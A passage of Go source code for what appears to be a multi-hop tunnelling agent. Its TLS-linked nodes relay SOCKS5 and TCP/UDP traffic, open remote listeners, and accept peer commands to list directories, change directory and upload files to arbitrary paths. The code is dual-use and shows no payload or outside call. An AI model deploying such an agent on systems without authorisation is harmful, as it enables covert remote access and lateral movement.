||||
if len(upLevelNode) == 0 {
|
||||
return false
|
||||
}
|
||||
upLevelNode[0].conn.tlsWrite(b)
|
||||
return true
|
||||
}()
|
||||
if ok {
|
||||
break
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
nodeTickPing()
|
||||
time.AfterFunc(time.Second*10, checkUpLevelNode)
|
||||
}
|
||||
func checkUpLevelNode() {
|
||||
|
||||
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
|
||||
|
||||
//尝试重新连接节点
|
||||
for _, addr := range currentConfig.DstNode {
|
||||
connectNew(addr)
|
||||
}
|
||||
if len(upLevelNode) == 0 {
|
||||
//尝试连接其他节点
|
||||
if !currentConfig.Limit {
|
||||
for _, addr := range extNodeIp {
|
||||
if common.Debug {
|
||||
fmt.Println("连接extNodeIp", addr)
|
||||
}
|
||||
|
||||
connectNew(addr)
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
func() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
|
||||
if len(n.mainIp) == 0 {
|
||||
if common.Debug {
|
||||
fmt.Println("连接n.addr", fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
}()
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
time.AfterFunc(time.Second*5, checkUpLevelNode)
|
||||
}
|
||||
func nodeTickPing() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
now := time.Now().Unix()
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
for _, ip := range n.mainIp {
|
||||
if ip != "" {
|
||||
addr1 := fmt.Sprintf("%s:%d", ip, n.port)
|
||||
find := false
|
||||
for _, addr2 := range extNodeIp {
|
||||
if addr1 == addr2 {
|
||||
find = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
extNodeIp = append(extNodeIp, addr1)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
if n.nextPingTime == 0 {
|
||||
go n.ping(0)
|
||||
n.nextPingTime = now + 10 + rand.Int63n(10)
|
||||
} else if n.nextPingTime < now {
|
||||
go n.ping(0)
|
||||
n.nextPingTime = now + 30 + rand.Int63n(30)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
time.AfterFunc(time.Second*1, nodeTickPing)
|
||||
}
|
||||
|
||||
// 节点
|
||||
type node struct {
|
||||
id int
|
||||
uuid string
|
||||
hostName string
|
||||
goos string
|
||||
addr string
|
||||
connMap sync.Map
|
||||
udpConnMap sync.Map
|
||||
listenMap sync.Map //client端会存入clientListen,server存入serverListen
|
||||
shellMap sync.Map
|
||||
queryMap sync.Map
|
||||
conn *Conn
|
||||
pingTime, pongTime int64
|
||||
mainIp []string
|
||||
port int
|
||||
listen net.Listener
|
||||
nextPingTime int64
|
||||
|
||||
waitMsg []*common.Msg //需要等待处理的消息
|
||||
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
|
||||
}
|
||||
type nodeMsg struct {
|
||||
UUID string
|
||||
HostName string
|
||||
Addr string
|
||||
MainIp []string
|
||||
Port int
|
||||
Goos string
|
||||
}
|
||||
|
||||
func connectNew(addr string) (n *node, e error) {
|
||||
config := cert.Tlsconfig.Clone()
|
||||
|
||||
conn, err := tls.Dial("tcp", addr, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
c.regResult = make(chan error, 1)
|
||||
c.regResultNode = make(chan *node, 1)
|
||||
c.handle()
|
||||
c.reg()
|
||||
defer func() {
|
||||
if c.node != nil {
|
||||
|
||||
l := clientLock.Lock()
|
||||
find := false
|
||||
for _, n := range upLevelNode {
|
||||
if n.uuid == c.node.uuid {
|
||||
find = true
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, c.node)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := c.node.storeQuery(resChan)
|
||||
|
||||
c.node.Write(common.CMD_GET_NODE, id, []byte{0})
|
||||
|
||||
select {
|
||||
case <-resChan:
|
||||
c.node.deleteQuery(id)
|
||||
c.node.broadcastNode()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.node.deleteQuery(id)
|
||||
c.node.Close("")
|
||||
e = errors.New("time out")
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
select {
|
||||
case err = <-c.regResult:
|
||||
return nil, err
|
||||
case n = <-c.regResultNode:
|
||||
return n, err
|
||||
case <-time.After(time.Second * 10):
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (n *node) Write(option uint8, id uint32, b []byte) {
|
||||
msg := common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: n.uuid,
|
||||
CmdOpteion: option,
|
||||
CmdId: id,
|
||||
CmdData: b,
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
n.mirrorNode.do(&msg)
|
||||
} else {
|
||||
if n.conn != nil {
|
||||
n.conn.OutChan <- msg.Marshal()
|
||||
} else {
|
||||
upNodeWrite <- msg.Marshal()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func (n *node) WriteMsg(msg *common.Msg) {
|
||||
if n.conn != nil {
|
||||
n.conn.OutChan <- msg.Marshal()
|
||||
} else {
|
||||
upNodeWrite <- msg.Marshal()
|
||||
}
|
||||
}
|
||||
func (n *node) do(msg *common.Msg) {
|
||||
|
||||
if common.Debug {
|
||||
fmt.Println("client收到", common.CmdToName[msg.CmdOpteion])
|
||||
}
|
||||
var err error
|
||||
//fmt.Println(common.CmdToName[msg.CmdOpteion])
|
||||
switch msg.CmdOpteion {
|
||||
case common.CMD_CONNECT_BYIDADDR:
|
||||
|
||||
conn := &serverConnect{}
|
||||
|
||||
conn.node = n
|
||||
conn.id = msg.CmdId
|
||||
conn.write = make(chan *bytes.Buffer, 64)
|
||||
conn.close = 0
|
||||
conn.windowsSize = 0
|
||||
conn.wait = make(chan int)
|
||||
n.connMap.Store(conn.id, conn)
|
||||
addr := string(msg.CmdData[1:])
|
||||
|
||||
switch common.NetWork(msg.CmdData[0]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
conn.address = addr
|
||||
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
go conn.doHandleUdp()
|
||||
case common.RAW_TCP:
|
||||
go conn.doConnectTcp(common.RAW_TCP, addr)
|
||||
case common.RAW_TCP_WITH_PROXY:
|
||||
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
_l, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
}
|
||||
|
||||
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId}
|
||||
|
||||
n.connMap.Delete(conn.id)
|
||||
l.socks5Replay = make([]byte, len(msg.CmdData))
|
||||
copy(l.socks5Replay, msg.CmdData)
|
||||
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
|
||||
n.listenMap.Store(l.id, l)
|
||||
go l.Lisen()
|
||||
}
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
if v, ok := n.connMap.Load(msg.CmdId); ok {
|
||||
if conn, ok := v.(common.Conn); ok {
|
||||
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
|
||||
}
|
||||
}
|
||||
case common.CMD_CONN_MSG:
|
||||
|
||||
v, ok1 := n.connMap.Load(msg.CmdId)
|
||||
conn, ok2 := v.(common.Conn)
|
||||
if !ok1 || !ok2 {
|
||||
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||
return
|
||||
}
|
||||
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
|
||||
case common.CMD_DELETE_CONNID:
|
||||
v, ok := n.connMap.Load(msg.CmdId)
|
||||
if ok {
|
||||
if conn, ok2 := v.(common.Conn); ok2 {
|
||||
conn.Close("对方节点要求关闭")
|
||||
} else {
|
||||
n.connMap.Delete(msg.CmdId)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case common.CMD_WINDOWS_UPDATE:
|
||||
v, ok := n.connMap.Load(msg.CmdId)
|
||||
if ok {
|
||||
conn := v.(*serverConnect)
|
||||
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||
if windows_update_size > 0 {
|
||||
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||
if old < 0 {
|
||||
go func() {
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_OK:
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
|
||||
}
|
||||
|
||||
case common.CMD_REG:
|
||||
func() {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
uuid := regmsg.UUID
|
||||
if uuid == currentNode.uuid {
|
||||
regmsg.Err = "不能连接自己"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
|
||||
n.addr = regmsg.Addr
|
||||
n.hostName = regmsg.Hostname
|
||||
n.mainIp = regmsg.MainIp
|
||||
n.port = regmsg.Port
|
||||
n.goos = regmsg.Goos
|
||||
|
||||
resultMsg := regmsg
|
||||
resultMsg.Addr = currentNode.addr
|
||||
resultMsg.UUID = currentNode.uuid
|
||||
resultMsg.Hostname = currentNode.hostName
|
||||
resultMsg.MainIp = currentNode.mainIp
|
||||
resultMsg.Port = currentNode.port
|
||||
resultMsg.Goos = currentNode.goos
|
||||
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
nodeMap[regmsg.UUID] = n
|
||||
n.broadcastNode()
|
||||
}
|
||||
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
|
||||
if err != nil {
|
||||
select {
|
||||
case n.conn.regResult <- err:
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if regmsg.Err != "" {
|
||||
select {
|
||||
case n.conn.regResult <- errors.New(regmsg.Err):
|
||||
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.addr = regmsg.Addr
|
||||
n.hostName = regmsg.Hostname
|
||||
n.goos = regmsg.Goos
|
||||
|
||||
workconn := n.conn
|
||||
n.mainIp = regmsg.MainIp
|
||||
n.port = regmsg.Port
|
||||
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = regmsg.MainIp
|
||||
v.port = regmsg.Port
|
||||
n = v
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
nodeMap[n.uuid] = n
|
||||
l.Unlock()
|
||||
|
||||
select {
|
||||
case workconn.regResultNode <- n:
|
||||
|
||||
default:
|
||||
}
|
||||
|
||||
//回复节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if currentConfig.Limit {
|
||||
regmsg.Err = "node is in limit mode"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
return
|
||||
}
|
||||
if err == nil {
|
||||
var node *node
|
||||
node, err = connectNew(regmsg.RegAddr)
|
||||
if err == nil {
|
||||
|
||||
regmsg.UUID = node.uuid
|
||||
regmsg.Hostname = node.hostName
|
||||
regmsg.ViaUUID = currentNode.uuid
|
||||
regmsg.MainIp = currentNode.mainIp
|
||||
regmsg.Port = currentNode.port
|
||||
regmsg.Goos = currentNode.goos
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
}
|
||||
case common.CMD_REMOTE_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
v <- err
|
||||
return
|
||||
}
|
||||
if regmsg.Err != "" {
|
||||
v <- errors.New(regmsg.Err)
|
||||
return
|
||||
}
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.addr = regmsg.Addr
|
||||
n.hostName = regmsg.Hostname
|
||||
n.goos = regmsg.Goos
|
||||
n.mainIp = regmsg.MainIp
|
||||
n.port = regmsg.Port
|
||||
if v, ok := nodeMap[regmsg.UUID]; !ok {
|
||||
n.conn.node = n
|
||||
} else {
|
||||
if v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.conn.close <- "" //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = regmsg.MainIp
|
||||
v.port = regmsg.Port
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
|
||||
}
|
||||
nodeMap[n.uuid] = n
|
||||
l.Unlock()
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
n.broadcastNode()
|
||||
case common.CMD_PING:
|
||||
n.Write(common.CMD_PONG, msg.CmdId, msg.CmdData)
|
||||
case common.CMD_NONE:
|
||||
|
||||
case common.CMD_PONG:
|
||||
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
|
||||
|
||||
if pingTime != n.pingTime {
|
||||
return
|
||||
}
|
||||
n.pongTime = time.Now().Unix()
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_CONN_UDP_MSG:
|
||||
|
||||
_, ok := n.connMap.Load(msg.CmdId)
|
||||
|
||||
if ok {
|
||||
|
||||
var conn common.Conn
|
||||
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
if v2, ok := n.connMap.Load(id); ok {
|
||||
conn = v2.(common.Conn)
|
||||
} else {
|
||||
var ip string
|
||||
switch msg.CmdData[4] {
|
||||
case 1:
|
||||
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
|
||||
|
||||
case 3:
|
||||
case 4:
|
||||
}
|
||||
udpconn := &serverConnect{}
|
||||
udpconn.conn, err = net.Dial("udp", ip)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
udpconn.node = n
|
||||
udpconn.id = id
|
||||
udpconn.write = make(chan *bytes.Buffer, 64)
|
||||
udpconn.close = 0
|
||||
udpconn.windowsSize = 0
|
||||
udpconn.wait = make(chan int)
|
||||
|
||||
n.connMap.Store(udpconn.id, udpconn)
|
||||
go udpconn.handUdpReceive()
|
||||
conn = udpconn
|
||||
}
|
||||
switch msg.CmdData[4] {
|
||||
case 1:
|
||||
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_LISTEN:
|
||||
|
||||
//fmt.Println("listen", string(data[common.Headlen+4:]))
|
||||
_l, err := net.Listen("tcp", string(msg.CmdData))
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
|
||||
}
|
||||
l := &serverListen{listen: _l, node: n, id: msg.CmdId}
|
||||
n.listenMap.Store(msg.CmdId, l)
|
||||
|
||||
go l.Lisen()
|
||||
case common.CMD_REMOTE_SOCKS5:
|
||||
|
||||
cfg, err := common.ParseAddr(string(msg.CmdData))
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
}
|
||||
l := &serverListen{node: n, id: msg.CmdId}
|
||||
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
|
||||
}
|
||||
|
||||
n.listenMap.Store(l.id, l)
|
||||
|
||||
case common.CMD_LISTEN_RESULT:
|
||||
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
if c, ok := v.(*clientListen); ok {
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case c.result <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
|
||||
} else {
|
||||
select {
|
||||
case c.result <- nil:
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_DELETE_LISTEN:
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
switch s := v.(type) {
|
||||
case *serverListen:
|
||||
s.Close(remoteClose)
|
||||
case *clientListen:
|
||||
s.Close(remoteClose)
|
||||
}
|
||||
|
||||
}
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
case common.CMD_DELETE_LISTENCONN_BYID:
|
||||
deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
if s, ok := v.(*serverListen); ok {
|
||||
conn, ok := s.connMap.Load(deleteId)
|
||||
if ok {
|
||||
conn.(*serverConnect).Close(remoteClose)
|
||||
s.connMap.Delete(deleteId)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case common.CMD_PWD:
|
||||
pwd, _ := os.Getwd()
|
||||
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
|
||||
case common.CMD_PWD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- string(msg.CmdData):
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
case common.CMD_GET_NODE:
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_GET_NODE_RESULT:
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var s []nodeMsg
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
if err == nil {
|
||||
for _, _n := range s {
|
||||
if _n.UUID != currentNode.uuid {
|
||||
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||
nodeMap[_n.UUID] = newNode(_n, n)
|
||||
} else {
|
||||
v.hostName = _n.HostName
|
||||
v.mainIp = _n.MainIp
|
||||
v.port = _n.Port
|
||||
if _n.Addr != "" {
|
||||
v.addr = _n.Addr
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if ok {
|
||||
//通知已更新列表
|
||||
select {
|
||||
case v <- err:
|
||||
default:
|
||||
}
|
||||
}
|
||||
case common.CMD_GET_CURRENT_NODE:
|
||||
nmsg := nodeMsg{
|
||||
UUID: currentNode.uuid,
|
||||
HostName: currentNode.hostName,
|
||||
Addr: currentNode.addr,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
}
|
||||
b, _ := json.Marshal(nmsg)
|
||||
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
|
||||
|
||||
case common.CMD_ADD_NODE:
|
||||
var nmsg nodeMsg
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
if v, ok := nodeMap[nmsg.UUID]; !ok {
|
||||
|
||||
_n := newNode(nmsg, n)
|
||||
nodeMap[nmsg.UUID] = _n
|
||||
|
||||
} else if nmsg.UUID != currentNode.uuid {
|
||||
v.port = nmsg.Port
|
||||
v.mainIp = nmsg.MainIp
|
||||
v.hostName = nmsg.HostName
|
||||
v.goos = nmsg.Goos
|
||||
if nmsg.Addr != "" {
|
||||
v.addr = nmsg.Addr
|
||||
}
|
||||
}
|
||||
case common.CMD_DIR:
|
||||
|
||||
dirPth := string(msg.CmdData)
|
||||
dir, err := ioutil.ReadDir(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
|
||||
return
|
||||
}
|
||||
var s []string
|
||||
var maxlen int
|
||||
var hasdir string
|
||||
for _, fi := range dir {
|
||||
if len(fi.Name()) > maxlen {
|
||||
maxlen = len(fi.Name())
|
||||
}
|
||||
if fi.IsDir() {
|
||||
hasdir = " "
|
||||
}
|
||||
}
|
||||
for _, fi := range dir {
|
||||
var p string
|
||||
name := bytes.Repeat([]byte(" "), maxlen)
|
||||
copy(name, fi.Name())
|
||||
if fi.IsDir() { // 忽略目录
|
||||
p = "<DIR> " + string(name)
|
||||
} else {
|
||||
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
|
||||
}
|
||||
s = append(s, p)
|
||||
}
|
||||
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
|
||||
|
||||
case common.CMD_DIR_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
case v <- string(msg.CmdData):
|
||||
default:
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case common.CMD_CD:
|
||||
dirPth := string(msg.CmdData)
|
||||
s, err := os.Stat(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
return
|
||||
}
|
||||
if s.IsDir() {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
|
||||
} else {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
|
||||
}
|
||||
case common.CMD_CD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case v <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
} else {
|
||||
select {
|
||||
case v <- string(msg.CmdData[1:]):
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_CONNECT_BYID:
|
||||
var l *clientListen
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
l, _ = v.(*clientListen)
|
||||
}
|
||||
if l == nil {
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil)
|
||||
return
|
||||
}
|
||||
//l := clientLock.Lock()
|
||||
//b := clientListenMap[id]
|
||||
//l.Unlock()
|
||||
conn, err := net.Dial("tcp", l.localAddr)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData)
|
||||
return
|
||||
}
|
||||
client := &clientConnect{}
|
||||
client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
|
||||
client.server = l.server
|
||||
client.listenId = msg.CmdId
|
||||
client.conn = conn
|
||||
client.OnOpened()
|
||||
|
||||
l.connMap.Store(client.id, client)
|
||||
l.server.connMap.Store(client.id, client)
|
||||
go rawHandleLocal(client)
|
||||
case common.CMD_PING_LISTEN:
|
||||
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
|
||||
//通知客户端服务器listen不存在
|
||||
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
|
||||
}
|
||||
|
||||
case common.CMD_PING_LISTEN_RESULT:
|
||||
if value, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
switch v := value.(type) {
|
||||
case *clientListen:
|
||||
n.Write(v.openOption, v.id, v.openMsg)
|
||||
go func() {
|
||||
select {
|
||||
case res := <-v.result:
|
||||
if err, ok := res.(error); ok {
|
||||
v.Close(err.Error())
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
|
||||
v.Close("listen time out")
|
||||
|
||||
}
|
||||
}()
|
||||
case *serverListen:
|
||||
v.Close(remoteClose)
|
||||
}
|
||||
}
|
||||
case common.CMD_UPLOAD:
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
if i == -1 {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
|
||||
return
|
||||
}
|
||||
file := string(msg.CmdData[:i])
|
||||
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||
var f *os.File
|
||||
|
||||
if offset == 0 {
|
||||
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
|
||||
} else {
|
||||
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
|
||||
}
|
||||
if err != nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
f.Seek(offset, 0)
|
||||
num, err := f.Write(msg.CmdData[i+9:])
|
||||
if err != nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||
return
|
||||
}
|
||||
if num != len(msg.CmdData[i+9:]) {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
|
||||
return
|
||||
}
|
||||
s, err := os.Stat(file)
|
||||
if err == nil {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
|
||||
}
|
||||
|
||||
case common.CMD_UPLOAD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
